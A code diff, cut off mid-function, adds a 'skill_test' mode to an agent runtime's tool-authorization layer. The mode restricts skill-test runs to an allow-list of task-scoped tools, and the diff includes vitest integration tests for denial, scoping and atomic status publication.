b/server/src/services/native-runtime/native-execution-input.ts @@ -144,8 +144,8 @@ export function buildNativeExecutionInput(input: BuildNativeExecutionInput & { p export function buildNativeExecutionInput(input: BuildNativeExecutionInput & { provider?: Exclude }): NativeExecutionInputV5 | NativeExecutionInputV7 | NativeExecutionInputV9 | NativeExecutionInputV10; export function buildNativeExecutionInput(input: BuildNativeExecutionInput): NativeExecutionInputV5 | NativeExecutionInputV6 | NativeExecutionInputV7 | NativeExecutionInputV8 | NativeExecutionInputV9 | NativeExecutionInputV10; export function buildNativeExecutionInput(input: BuildNativeExecutionInput): NativeExecutionInputV5 | NativeExecutionInputV6 | NativeExecutionInputV7 | NativeExecutionInputV8 | NativeExecutionInputV9 | NativeExecutionInputV10 { - if (input.issue.workMode !== "standard" && input.issue.workMode !== "planning" && input.issue.workMode !== "ask") { - throw new Error("native_execution_input_invalid: issue work mode must be standard, planning, or ask"); + if (input.issue.workMode !== "standard" && input.issue.workMode !== "planning" && input.issue.workMode !== "ask" && input.issue.workMode !== "skill_test") { + throw new Error("native_execution_input_invalid: issue work mode must be standard, planning, ask, or skill_test"); } const mode = resolvePaperclipRunnerCursorMode(input.provider, input.acpxAgent, input.acpxSessionMode); const piThinkingLevel = resolvePaperclipRunnerPiThinkingLevel(input.provider, input.acpxAgent, input.piThinkingLevel); diff --git a/server/src/services/native-runtime/native-session-executor.ts b/server/src/services/native-runtime/native-session-executor.ts index 4f5c5ae99de..aa8e8f7fcd0 100644 --- a/server/src/services/native-runtime/native-session-executor.ts +++ b/server/src/services/native-runtime/native-session-executor.ts @@ -1,3 +1,4 @@ +import { rehydratePinnedSkillAssets } from "./runtime-context.js"; import { createNativeUsageDelivery } from "./native-usage-delivery.js"; import { createNativeTurnAccounting, nativeUsageCostUsd, nativeUsageBiller, normalizeNativeUsage, usesNativeUsageDelivery, isNativeUsageAccountingEvent } from "./native-usage-accounting.js"; export { nativeUsageCostUsd, nativeUsageBiller, normalizeNativeUsage } from "./native-usage-accounting.js"; @@ -12401,8 +12402,9 @@ async function createRunnerdBackendWithinSessionClaim( : remoteRunnerFilesystemRoot ? posix.join(remoteRunnerFilesystemRoot, directory.name) : null; - const sourceRuntimeContext = - "runtimeContext" in input.execution ? input.execution.runtimeContext : null; + const sourceRuntimeContext = "runtimeContext" in input.execution + ? await rehydratePinnedSkillAssets(input.db, input.execution.binding, input.execution.runtimeContext) + : null; const remoteRuntimeContext: NativeRuntimeContextSnapshot | null = remoteRunnerFilesystemRoot && sourceRuntimeContext ? { diff --git a/server/src/services/native-runtime/native-skill-test-scope.test.ts b/server/src/services/native-runtime/native-skill-test-scope.test.ts new file mode 100644 index 00000000000..86644b35b14 --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-scope.test.ts @@ -0,0 +1,66 @@ +import { randomUUID } from "node:crypto"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { eq } from "drizzle-orm"; +import { agentWakeupRequests, heartbeatRuns, issues } from "@paperclipai/db"; +import { startRunnerApiTestServer } from "../../__tests__/helpers/runner-api-server.js"; +import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; + +describe("native Studio test authorization", () => { + let server: Awaited>; + const oldSecret = process.env.PAPERCLIP_AGENT_JWT_SECRET; + beforeAll(async () => { + process.env.PAPERCLIP_AGENT_JWT_SECRET = randomUUID(); + server = await startRunnerApiTestServer(); + }, 60_000); + afterAll(async () => { + await server?.close(); + if (oldSecret === undefined) delete process.env.PAPERCLIP_AGENT_JWT_SECRET; + else process.env.PAPERCLIP_AGENT_JWT_SECRET = oldSecret; + }); + + it.each(["skill_test", "standard"] as const)("keeps admitted tests task-scoped with current mode %s", async workMode => { + const fixture = await server.fixture(); + await server.db.update(issues).set({ workMode }).where(eq(issues.id, fixture.issueId)); + await server.db.update(issues).set({ parentId: fixture.issueId }).where(eq(issues.id, fixture.blockerId)); + await server.db.update(heartbeatRuns).set({ contextSnapshot: { + issueId: fixture.issueId, paperclipAgentJwtScope: { kind: "skill_test", issueId: fixture.issueId }, + } }).where(eq(heartbeatRuns.id, fixture.runId)); + const authority = new PaperclipRunnerToolAuthority(server.db, { ...fixture, workMode }); + const call = (tool: string, args: unknown = {}) => ({ tool, callId: randomUUID(), arguments: args }); + const before = await fixture.snapshot(); + const wakes = await server.db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, fixture.companyId)); + const create = call("create_task", { title: "Must not escape Studio", idempotencyKey: "denied-create", assigneeActorId: fixture.agentId }); + for (const denied of [create, call("search_tasks"), call("list_agents"), call("list_people"), call("list_approvals"), + call("get_agent", { actorId: fixture.agentId }), call("connection_request", { service: "notion" })]) { + await expect(authority.execute(denied)).rejects.toMatchObject({ status: 403 }); + await expect(authority.recover(denied)).rejects.toMatchObject({ status: 403 }); + } + expect((await fixture.snapshot()).issues).toEqual(before.issues); + expect(await server.db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, fixture.companyId))).toEqual(wakes); + const context = await authority.execute(call("get_task_context")); + expect(context).toMatchObject({ activeTask: { id: fixture.issueId }, childTasks: [], childReviewOutcomes: [] }); + expect(JSON.stringify(context)).not.toContain(fixture.blockerId); + const write = call("write_document", { key: "proof", title: "Studio evidence", body: "Executed the delivered skill", idempotencyKey: "own-proof" }); + const receipt = await authority.execute(write); + expect(await authority.recover(write)).toEqual({ result: receipt }); + expect(await authority.execute(call("read_document", { key: "proof" }))).toMatchObject({ document: { body: "Executed the delivered skill" } }); + expect(await authority.execute(call("get_task", { taskId: fixture.issueId }))).toMatchObject({ ok: true, status: 200, data: { id: fixture.issueId } }); + expect(await authority.execute(call("get_task", { taskId: fixture.blockerId }))).toMatchObject({ ok: false, status: 404 }); + if (workMode === "skill_test") { + const names = authority.definitions().map(tool => tool.name); + expect(names).toContain("write_document"); + expect(names).toContain("get_task_context"); + expect(names).not.toContain("create_task"); + expect(names).not.toContain("list_agents"); + expect(names).not.toContain("connection_request"); + } + }); + + it("still creates ordinary tasks for a standard run", async () => { + const fixture = await server.fixture({ disableWakeOnDemand: true }); + await fixture.authority.execute({ tool: "create_task", callId: randomUUID(), arguments: { + title: "Normal child task", idempotencyKey: "standard-create", assigneeActorId: fixture.agentId, + } }); + expect((await fixture.snapshot()).issues.filter(issue => issue.title === "Normal child task")).toHaveLength(1); + }); +}); diff --git a/server/src/services/native-runtime/native-skill-test-scope.ts b/server/src/services/native-runtime/native-skill-test-scope.ts new file mode 100644 index 00000000000..d07d33b44ba --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-scope.ts @@ -0,0 +1,39 @@ +import type { AgentApiKeyScope } from "@paperclipai/shared"; +import { forbidden } from "../../errors.js"; + +const taskTools = new Set([ + "get_identity", "get_task_context", "get_task_history", "get_task", + "list_documents", "read_document", "list_document_revisions", "write_document", + "list_task_documents", "read_task_document", "write_task_document", "comment_on_task", + "report_progress", "set_task_title", "request_human_input", "register_deliverable", + "list_assigned_skills", "read_assigned_skill", "search_api", "call_api", + "read_current_wake_comments", "list_chat_attachments", "read_chat_attachment", + "reuse_chat_attachment", "list_task_attachments", "read_task_attachment", +]); + +const record = (value: unknown): Record => + value !== null && typeof value === "object" && !Array.isArray(value) + ? value as Record : {}; + +export function nativeRunKeyScope(input: { + contextSnapshot?: unknown; + issueId: string; + workMode?: string; +}): AgentApiKeyScope { + const snapshot = record(input.contextSnapshot); + const admitted = record(snapshot.paperclipAgentJwtScope); + const skillTest = admitted.kind === "skill_test" || (admitted.kind !== "standard" + && (Boolean(snapshot.paperclipSkillTest) || input.workMode === "skill_test" + || record(snapshot.paperclipIssue).workMode === "skill_test")); + return skillTest ? { kind: "skill_test", issueId: input.issueId } : { kind: "standard" }; +} + +export function nativeSkillTestToolAllowed(tool: string) { + return taskTools.has(tool); +} + +export function assertNativeSkillTestTool(scope: AgentApiKeyScope, tool: string) { + if (scope.kind === "skill_test" && !nativeSkillTestToolAllowed(tool)) { + throw forbidden("Skill-test runs may only use their own harness task and admitted skill contents."); + } +} diff --git a/server/src/services/native-runtime/native-skill-test-status.test.ts b/server/src/services/native-runtime/native-skill-test-status.test.ts new file mode 100644 index 00000000000..75053241b6f --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-status.test.ts @@ -0,0 +1,94 @@ +import { randomUUID } from "node:crypto"; +import { and, eq } from "drizzle-orm"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { + activityLog, agents, companies, companySkills, companySkillVersions, companySkillTestRuns, + completionContracts, createDb, documents, heartbeatRuns, issueDocuments, issues, + nativeRunFinalizations, nativeRunResults, workAssessments, type Db, +} from "@paperclipai/db"; +import { recoveryPostgresSupport, startRecoveryPostgres } from "../../__tests__/helpers/recovery-postgres.js"; +import { commitNativeStatusDecision } from "./status-decision-committer.js"; +import { NATIVE_STATUS_ARBITER_POLICY_VERSION } from "./status-arbiter.js"; + +describe.skipIf(!recoveryPostgresSupport.supported)("native Studio status publication", () => { + let database: Awaited>, db: Db; + beforeAll(async () => { + database = await startRecoveryPostgres("native-skill-test-status-"); + db = createDb(database.connectionString); + }, 60_000); + afterAll(async () => { await db?.$client.end(); await database?.cleanup(); }); + + async function seed() { + const companyId = randomUUID(), agentId = randomUUID(), issueId = randomUUID(), runId = randomUUID(); + const skillId = randomUUID(), versionId = randomUUID(), testId = randomUUID(), documentId = randomUUID(); + const contractId = randomUUID(), resultId = randomUUID(), assessmentId = randomUUID(); + await db.insert(companies).values({ id: companyId, name: "Studio status", issuePrefix: `S${companyId.slice(0, 7)}` }); + await db.insert(agents).values({ id: agentId, companyId, name: "Tester", adapterType: "paperclip_runner" }); + await db.insert(companySkills).values({ id: skillId, companyId, key: "company/test", slug: "test", name: "Test", markdown: "# Test", sourceType: "managed" }); + await db.insert(companySkillVersions).values({ id: versionId, companyId, companySkillId: skillId, revisionNumber: 1 }); + // Task mode can change after admission; the saved Studio obligation survives. + await db.insert(issues).values({ id: issueId, companyId, title: "Studio output", status: "in_progress", assigneeAgentId: agentId }); + await db.insert(companySkillTestRuns).values({ id: testId, companyId, skillId, skillVersionId: versionId, agentId, issueId, inputSnapshot: "Execute the skill" }); + await db.insert(documents).values({ id: documentId, companyId, latestBody: "Verified the selected immutable bytes." }); + await db.insert(issueDocuments).values({ companyId, issueId, documentId, key: "output" }); + await db.insert(completionContracts).values({ id: contractId, companyId, issueId, revision: 1, schemaVersion: "paperclip.completion-contract.v1", + policyVersion: "studio-test", risk: "standard", completionAuthority: "server_arbiter", incompleteCriteriaPolicy: "preserve_non_terminal", + contractJson: { revision: "1", criteria: [] }, canonicalSha256: randomUUID(), createdByActorType: "system", createdByActorId: "test" }); + await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, status: "running", runtimeMode: "native", nativeIssueId: issueId, + completionContractId: contractId, contextSnapshot: { issueId, paperclipAgentJwtScope: { kind: "skill_test", issueId } } }); + await db.insert(nativeRunResults).values({ id: resultId, companyId, issueId, runId, completionContractId: contractId, + serverFingerprint: randomUUID(), schemaStatus: "accepted", resultJson: {}, canonicalSha256: randomUUID() }); + const [task] = await db.select().from(issues).where(eq(issues.id, issueId)); + await db.insert(workAssessments).values({ id: assessmentId, companyId, issueId, runId, contractId, resultId, triggerKind: "native_result", + triggerActorCompanyId: companyId, priorIssueStatus: task.status, priorStatusVersion: task.statusVersion, + policyVersion: "studio-test", assessmentJson: {}, inputDigest: randomUUID() }); + await db.insert(nativeRunFinalizations).values({ runId, companyId, issueId, phase: "arbitrating", resultId }); + const read = async () => (await db.select().from(companySkillTestRuns).where(eq(companySkillTestRuns.id, testId)))[0]!; + const audit = () => db.select().from(activityLog).where(and(eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_test_run_completed"))); + const commit = (status: "done" | "cancelled" | "blocked", executor: Db = db) => commitNativeStatusDecision({ db: executor, + companyId, issueId, runId, assessmentId, priorStatus: task.status, priorStatusVersion: task.statusVersion, priorDecisionId: task.lastStatusDecisionId, + decision: { policyVersion: NATIVE_STATUS_ARBITER_POLICY_VERSION, statusAction: status, toStatus: status, + reasonCode: "studio_status_test", unblockDescriptor: null, effects: [] } }); + return { companyId, issueId, testId, documentId, read, audit, commit }; + } + + it.each(["done", "cancelled"] as const)("atomically publishes %s and its output once across replay", async status => { + const f = await seed(); + await f.commit(status); + const saved = await f.read(); + expect(saved).toMatchObject({ status: status === "done" ? "succeeded" : "cancelled", outputSnapshot: "Verified the selected immutable bytes." }); + expect(await f.audit()).toHaveLength(1); + await db.update(documents).set({ latestBody: "Changed after completion" }).where(eq(documents.id, f.documentId)); + const reopened = createDb(database.connectionString); + try { expect((await f.commit(status, reopened)).replayed).toBe(true); } + finally { await reopened.$client.end(); } + expect(await f.read()).toEqual(saved); + expect(await f.audit()).toHaveLength(1); + }); + + it("rolls back task, Studio output, and audit together", async () => { + const f = await seed(); + await expect(db.transaction(async tx => { + await f.commit("done", tx as unknown as Db); + expect((await tx.select().from(companySkillTestRuns).where(eq(companySkillTestRuns.id, f.testId)))[0].status).toBe("succeeded"); + throw new Error("rollback Studio fixture"); + })).rejects.toThrow("rollback Studio fixture"); + expect(await f.read()).toMatchObject({ status: "queued", outputSnapshot: "" }); + expect((await db.select().from(issues).where(eq(issues.id, f.issueId)))[0].status).toBe("in_progress"); + expect(await f.audit()).toHaveLength(0); + await f.commit("done"); + expect((await f.read()).status).toBe("succeeded"); + }); + + it("keeps blocked tests pending and does not revive superseded tests", async () => { + const blocked = await seed(); + await blocked.commit("blocked"); + expect((await blocked.read()).status).toBe("queued"); + expect(await blocked.audit()).toHaveLength(0); + const superseded = await seed(); + await db.update(companySkillTestRuns).set({ supersededAt: new Date() }).where(eq(companySkillTestRuns.id, superseded.testId)); + await superseded.commit("done"); + expect((await superseded.read()).status).toBe("queued"); + expect(await superseded.audit()).toHaveLength(0); + }); +}); diff --git a/server/src/services/native-runtime/paperclip-runner-tool-authority.ts b/server/src/services/native-runtime/paperclip-runner-tool-authority.ts index aa8970db19f..02917045861 100644 --- a/server/src/services/native-runtime/paperclip-runner-tool-authority.ts +++ b/server/src/services/native-runtime/paperclip-runner-tool-authority.ts @@ -1,3 +1,4 @@ +import { nativeRunKeyScope, nativeSkillTestToolAllowed, assertNativeSkillTestTool } from "./native-skill-test-scope.js"; import { requiredQualityReviewSchema } from "@paperclipai/shared"; import { priorRecoveryApiReceipt } from "../recovery-effect-receipts.js"; import { DELIVERY_QUEUES, notifyDeliveryWork } from "../delivery-work-notifications.js"; @@ -184,7 +185,7 @@ type Binding = { connectorAssignments?: Pick[]; assignedMcpTools?: Awaited>; apiToolsEnabled?: boolean; - workMode?: "standard" | "planning" | "ask"; + workMode?: "standard" | "planning" | "ask" | "skill_test"; casesEnabled?: boolean; workspaceRoot?: string; workspaceBridge?: boolean; @@ -389,14 +390,15 @@ export class PaperclipRunnerToolAuthority { if (!this.binding.firstPartyOnly && this.binding.assignedMcpTools) definitions.push(READ_TOOL_RESULT_DEFINITION); const assignedTools = this.binding.firstPartyOnly ? [] : this.binding.assignedMcpTools?.definitions((tools) => runnerCodexDynamicToolsFit([...connectionTools, ...tools, ...definitions])) ?? []; - const all = [...connectionTools, ...assignedTools, ...definitions]; + const all = [...connectionTools, ...assignedTools, ...definitions] + .filter(tool => workMode !== "skill_test" || nativeSkillTestToolAllowed(String(tool.name))); return this.binding.museRuntime ? all.filter(definition => MUSE_NATIVE_OPERATIONS.has(String(definition.name))) : all; } async recover(call: Parameters[0]): Promise<{ result: unknown; isError?: boolean } | null> { await this.#assertToolScope(call.tool); if (!this.binding.museRuntime) await this.binding.assertBridgeAuthority?.(); - const context = await this.#boundContext(); + const context = await this.#boundContext({ tool: call.tool }); const { run } = context; if (RECOVERABLE_READ_OPERATIONS.has(call.tool)) return this.#recoverRead(call); if (call.tool === "update_case" || call.tool === "create_workflow" || call.tool === "update_workflow") { @@ -531,6 +533,7 @@ export class PaperclipRunnerToolAuthority { const [run] = await this.db.select().from(heartbeatRuns).where(and(eq(heartbeatRuns.id, this.binding.runId), eq(heartbeatRuns.companyId, this.binding.companyId), eq(heartbeatRuns.agentId, this.binding.agentId))); if (!run) throw forbidden("Run binding unavailable"); + assertNativeSkillTestTool(nativeRunKeyScope({ ...this.binding, contextSnapshot: run.contextSnapshot }), call.tool); const request = create ? { idempotencyKey: create.idempotencyKey, case: { create: { caseType: create.caseType, title: create.title, @@ -551,7 +554,7 @@ export class PaperclipRunnerToolAuthority { if (this.binding.nativeReview && call.tool === "resolve_review") return this.#resolveReview(call.arguments); if (Object.hasOwn(TASK_ATTACHMENT_SCHEMAS, call.tool)) { const authorize = async () => { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); if (!this.binding.taskAttachmentRead || current.actor.adapterType !== "paperclip_runner" || current.actor.adapterConfig?.provider !== "openai_dot" || current.actor.adapterConfig?.dotAttachmentAccess !== true) throw forbidden("Dot task attachment reading was not enabled or was disabled"); @@ -569,13 +572,13 @@ export class PaperclipRunnerToolAuthority { }); } if (RUNNER_BRIDGE_SCHEMAS.has(call.tool)) { - await this.#boundContext(); + await this.#boundContext({ tool: call.tool }); if (!this.definitions().some(definition => definition.name === call.tool)) throw forbidden("Tool is not available to this run"); const parsed = RUNNER_BRIDGE_SCHEMAS.get(call.tool)!.safeParse(call.arguments); if (!parsed.success) return { outcome: "failed", code: "runner_bridge_invalid_arguments", message: "Arguments do not match this tool's advertised schema." }; const input = parsed.data as Record; if (call.tool.startsWith("workspace_")) { - const authorize = async () => { const current = await this.#boundContext(); + const authorize = async () => { const current = await this.#boundContext({ tool: call.tool }); if (current.actor.adapterConfig?.dotWorkspaceAccess !== true) throw forbidden("Dot workspace access was disabled"); await this.binding.assertBridgeAuthority?.(); if (["workspace_write", "workspace_run"].includes(call.tool) && current.issue.workMode !== "standard") throw forbidden("This work mode cannot change files or run commands"); @@ -585,7 +588,7 @@ export class PaperclipRunnerToolAuthority { return ["workspace_write", "workspace_run"].includes(call.tool) ? this.#bridgeMutation(call, execute) : settleRunnerBridgeRead(execute); } if (call.tool === "get_identity") { - const { actor, run } = await this.#boundContext(); + const { actor, run } = await this.#boundContext({ tool: call.tool }); const [person] = run.responsibleUserId ? await this.db.select({ id: authUsers.id, name: authUsers.name }).from(authUsers).where(eq(authUsers.id, run.responsibleUserId)) : []; return { agent: redactedActor(actor), responsibleUser: person ?? null, permissions: actor.permissions, tools: this.definitions().map(tool => tool.name) }; } @@ -594,7 +597,7 @@ export class PaperclipRunnerToolAuthority { .where(and(eq(companyMemberships.companyId, this.binding.companyId), eq(companyMemberships.principalType, "user"), eq(companyMemberships.status, "active"), input.after ? sql`${authUsers.id} > ${input.after}` : undefined)) .orderBy(authUsers.id).limit(input.limit); if (call.tool === "list_assigned_skills" || call.tool === "read_assigned_skill") { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); const visibility = await skillAccessService(this.db, this.#privacyActor(current.run)).condition(this.binding.companyId); const known = await this.db.select({ key: companySkills.key }).from(companySkills).where(eq(companySkills.companyId, this.binding.companyId)); const permitted = await this.db.select({ key: companySkills.key }).from(companySkills).where(and(eq(companySkills.companyId, this.binding.companyId), visibility)); @@ -610,21 +613,24 @@ export class PaperclipRunnerToolAuthority { } if (this.binding.firstPartyOnly && (call.tool === READ_TOOL_RESULT || this.binding.assignedMcpTools?.has(call.tool) || isConnectorTool(call.tool) || RUNTIME_CONNECTION_TOOL_DEFINITIONS.some(tool => tool.name === call.tool))) throw forbidden("This Grok Bot connection exposes first-party Paperclip operations. Use your own provider apps under their existing permissions."); - if (call.tool === READ_TOOL_RESULT) return this.#readToolResult(call.arguments); + if (call.tool === READ_TOOL_RESULT) { + await this.#boundContext({ tool: call.tool }); + return this.#readToolResult(call.arguments); + } if (this.binding.assignedMcpTools?.has(call.tool)) { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); const result = await this.binding.assignedMcpTools.execute(call, current.issue.workMode as "standard" | "planning" | "ask"); return captureRunnerToolResult(result, this.#responseCaptureIo("runner.assigned_tool")); } if (isConnectorTool(call.tool)) { if (!(this.binding.connectorAssignments ?? []).some((assignment) => assignment.tools.some((tool) => tool.name === call.tool))) throw forbidden("Connector tool is not available to this run"); - const { run } = await this.#boundContext({ includeChatWake: call.tool.startsWith("agentmail_") }); + const { run } = await this.#boundContext({ tool: call.tool, includeChatWake: call.tool.startsWith("agentmail_") }); const snapshot = record(run.contextSnapshot); if (call.tool.startsWith("agentmail_") && (isPaperclipExternalChatContractTurn(snapshot.paperclipWake) || String(snapshot.source ?? "").startsWith("chat:") || snapshot.paperclipExternalChatQuestionResponse)) throw forbidden("Restricted chat runs cannot use email actions"); return executeConnectorTool(this.db, this.binding, call.tool, call.arguments); } if (RUNTIME_CONNECTION_TOOL_DEFINITIONS.some((tool) => tool.name === call.tool)) { - await this.#boundContext(); + await this.#boundContext({ tool: call.tool }); const { run } = await captureRunIdentity(this.db, this.binding, { readScope: "identity" }); if (!run.responsibleUserId) throw forbidden("This task needs a responsible user before requesting a connection"); const claims = { @@ -677,7 +683,7 @@ export class PaperclipRunnerToolAuthority { ) { throw new Error("paperclip_runner_tool_not_advertised"); } - const context = await this.#boundContext(); + const context = await this.#boundContext({ tool: call.tool }); const input = record(call.arguments); if (call.tool === READ_CHAT_ATTACHMENT_TOOL_NAME) { const scope = this.binding.chatAttachmentReadScope; @@ -800,6 +806,11 @@ export class PaperclipRunnerToolAuthority { return apiToolResult(await this.#callApi(call.callId, call.arguments)); } case "get_task_context": { + if (this.#apiScope(context).kind === "skill_test") return { + company: { id: this.binding.companyId }, actor: redactedActor(context.actor), + activeTask: redactedTask(context.issue), childTasks: [], childReviewOutcomes: [], + run: { id: context.run.id, status: context.run.status, invocationSource: context.run.invocationSource }, + }; const monitorCheckAt = !this.binding.nativeReview && context.issue.workMode === "standard" && context.issue.executionRunId === this.binding.runId ? eligibleIssueMonitorWait(context.issue, this.binding.agentId) : null; @@ -994,11 +1005,8 @@ export class PaperclipRunnerToolAuthority { issue: { workMode: string }; run: { contextSnapshot: unknown }; }) { - const snapshot = record(context.run.contextSnapshot); - const admittedKind = record(snapshot.paperclipAgentJwtScope).kind; - const skillTest = admittedKind === "skill_test" || (admittedKind !== "standard" - && (Boolean(snapshot.paperclipSkillTest) || context.issue.workMode === "skill_test")); - return skillTest ? { kind: "skill_test" as const, issueId: this.binding.issueId } : { kind: "standard" as const }; + return nativeRunKeyScope({ contextSnapshot: context.run.contextSnapshot, + issueId: this.binding.issueId, workMode: context.issue.workMode }); } #apiToken(context: { @@ -1370,13 +1378,14 @@ export class PaperclipRunnerToolAuthority { return outcomes.filter(outcome => { const id = taskId(outcome); return typeof id === "string" && readable.has(id); }); } - #privacyActor(run: { responsibleUserId: string | null }): AuthorizationActor { + #privacyActor(run: { responsibleUserId: string | null; contextSnapshot?: unknown }): AuthorizationActor { return { type: "agent", agentId: this.binding.agentId, companyId: this.binding.companyId, runId: this.binding.runId, source: "agent_jwt", onBehalfOfUserId: run.responsibleUserId, + keyScope: nativeRunKeyScope({ ...this.binding, contextSnapshot: run.contextSnapshot }), ...(this.binding.museRuntime ? { authorizingUserId: this.binding.externalAuthorizingUserId } : {}) }; } - async #boundContext(options: { includeChatWake?: boolean } = {}) { + async #boundContext(options: { includeChatWake?: boolean; tool?: string } = {}) { if (this.binding.museRuntime && !this.binding.externalAuthorizingUserId) throw forbidden("Muse authorizer is unavailable"); const [row] = await this.db.select({ issue: issues, actor: agents, run: { id: heartbeatRuns.id, @@ -1438,6 +1447,7 @@ export class PaperclipRunnerToolAuthority { const privacy = await authorizationService(this.db).decide({ actor: this.#privacyActor(row.run), action: "issue:read", resource: { type: "issue", companyId: this.binding.companyId, issueId: row.issue.id } }); if (!privacy.allowed) throw forbidden("The task is no longer available to this run"); + if (options.tool) assertNativeSkillTestTool(this.#apiScope(row), options.tool); return row; } @@ -2572,6 +2582,7 @@ export class PaperclipRunnerToolAuthority { const context = await this.#lockAuthorizedMutationContext( tx as unknown as Db, ); + assertNativeSkillTestTool(this.#apiScope(context), operationId); const isFilePreparation = operationId === "register_deliverable" || operationId === REUSE_CHAT_ATTACHMENT_TOOL_NAME; diff --git a/server/src/services/native-runtime/runner-api.integration.test.ts b/server/src/services/native-runtime/runner-api.integration.test.ts index 58492e9bd0e..4e1831b734a 100644 --- a/server/src/services/native-runtime/runner-api.integration.test.ts +++ b/server/src/services/native-runtime/runner-api.integration.test.ts @@ -3,7 +3,7 @@ import { createHash, randomUUID } from "node:crypto"; import { chmod, writeFile, symlink, mkdir, open } from "node:fs/promises"; import { join, dirname } from "node:path"; import { and, eq } from "drizzle-orm"; -import { agents, agentWakeupRequests, assets, documents, heartbeatRuns, issues, projects, routineDocuments, routines, runnerApiResponseReservations, companySkills, companyMemberships, principalPermissionGrants } from "@paperclipai/db"; +import { agents, agentWakeupRequests, assets, documents, heartbeatRuns, issues, projects, routineDocuments, routines, runnerApiResponseReservations, companySkills, companySkillVersions, companySkillTestRuns, companyMemberships, principalPermissionGrants } from "@paperclipai/db"; import { initializeRunIdentity } from "../run-identity.js"; import { beforeAll, afterAll, beforeEach, afterEach, describe, expect, it, vi } from "vitest"; import { secretService } from "../secrets.js"; @@ -16,6 +16,7 @@ import { createLocalAgentJwt } from "../../agent-auth-jwt.js"; import { RUNNER_API_RESPONSE_MAX_BYTES, RUNNER_API_RESPONSE_RUN_MAX_BYTES } from "./runner-api-response-limits.js"; import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; import { prepareHeartbeatTaskContext } from "../heartbeat/task-context.js"; +import { createHeartbeatRunPreparation } from "../heartbeat/run-preparation.js"; import { createAssignedMcpTools } from "./assigned-mcp-tools.js"; import type { ToolGatewayService } from "../tool-gateway.js"; import { RUNNER_TOOL_RESULT_MAX_BYTES } from "./runner-tool-results.js"; @@ -498,7 +499,8 @@ else if(m.id!==undefined) send({id:m.id,result:{}}); await prepareHeartbeatTaskContext(server.db, { run, agent, task: { issueRef: issue, issueContext: null, wakeCommentContext: null, context, taskSession: null }, policy: { recovering: true, trustPreset: { kind: "standard" }, experimentalInstanceSettings: {} }, - services: { issuesSvc: { getAncestors: async () => [] }, getPinnedSkillTestContext: async () => null }, + services: { issuesSvc: { getAncestors: async () => [] }, + getPinnedSkillTestContext: createHeartbeatRunPreparation(server.db).getPinnedSkillTestContext }, }); await server.db.update(heartbeatRuns).set({ contextSnapshot: context }).where(eq(heartbeatRuns.id, fixture.runId)); } @@ -510,7 +512,17 @@ else if(m.id!==undefined) send({id:m.id,result:{}}); } }).where(eq(heartbeatRuns.id, fixture.runId)); await server.db.update(issues).set({ workMode: "skill_test" }).where(eq(issues.id, fixture.issueId)); await server.db.update(issues).set({ workMode: "standard" }).where(eq(issues.id, fixture.issueId)); + await expect(reprepareRun(fixture)).rejects.toThrow("The skill test's saved version is unavailable"); + const [skill] = await server.db.insert(companySkills).values({ companyId: fixture.companyId, + key: `company/${fixture.companyId}/scope-test`, slug: "scope-test", name: "Scope test", markdown: "# Scope test", sourceType: "managed" }).returning(); + const [version] = await server.db.insert(companySkillVersions).values({ companyId: fixture.companyId, + companySkillId: skill.id, revisionNumber: 1, fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Scope test" }] }).returning(); + await server.db.insert(companySkillTestRuns).values({ companyId: fixture.companyId, skillId: skill.id, + skillVersionId: version.id, agentId: fixture.agentId, issueId: fixture.issueId, inputSnapshot: "Exercise the saved scope" }); await reprepareRun(fixture); + const [prepared] = await server.db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, fixture.runId)); + expect(prepared.contextSnapshot).toMatchObject({ paperclipAgentJwtScope: { kind: "skill_test", issueId: fixture.issueId }, + paperclipSkillTest: { skillKey: skill.key, skillVersionId: version.id } }); const body = { kind: "secret", name: "parity/skill-test", value: "disposable-skill-test-value", justification: "Must remain denied" }; const token = createLocalAgentJwt(fixture.agentId, fixture.companyId, "paperclip_runner", fixture.runId, fixture.responsibleUserId, { kind: "skill_test", issueId: fixture.issueId }); diff --git a/server/src/services/native-runtime/runtime-context.ts b/server/src/services/native-runtime/runtime-context.ts index d0a96fed9de..953d97d8d8a 100644 --- a/server/src/services/native-runtime/runtime-context.ts +++ b/server/src/services/native-runtime/runtime-context.ts @@ -1,3 +1,4 @@ +import { skillExecutionContent } from "../skill-execution-content.js"; import { withRuntimeAssetUse, removeRuntimeAssetTree } from "./runtime-asset-retention.js"; import { cachedSkillAsset, rememberSkillAsset } from "./skill-asset-cache.js"; import { verifyFileManifest, type FileManifestEntry } from "../file-manifest-cache.js"; @@ -11,7 +12,7 @@ import { createHash, randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; import { and, eq } from "drizzle-orm"; -import { heartbeatRuns, type Db } from "@paperclipai/db"; +import { companySkillVersions, heartbeatRuns, type Db } from "@paperclipai/db"; import type { PaperclipSkillEntry } from "@paperclipai/adapter-utils/server-utils"; import { isToolConnectionAttentionHealth } from "@paperclipai/shared"; import { @@ -185,6 +186,54 @@ async function materializeInstructionBundle(db: Db, agent: RuntimeAgent, agentFi return { entryPath, bundle: await materializeAsset(files) }; } +async function materializeSkillAsset(source: string) { + let bundle = await measureRunPhase("runtime_context.asset_verify", () => cachedSkillAsset(source)); + if (!bundle) { + const files = await measureRunPhase("runtime_context.asset_read", () => collectDirectoryFiles(source)); + bundle = await materializeAsset(files); + const manifest: FileManifestEntry[] = files.map(file => ({ path: file.path, size: file.content.length, + sha256: sha256(file.content), mode: file.mode & 0o555, executable: Boolean(file.mode & 0o111) })); + if (await verifyFileManifest(source, manifest)) rememberSkillAsset(source, manifest, bundle); + } + return bundle; +} + +export async function rehydratePinnedSkillAssets( + db: Db, + binding: { companyId: string; 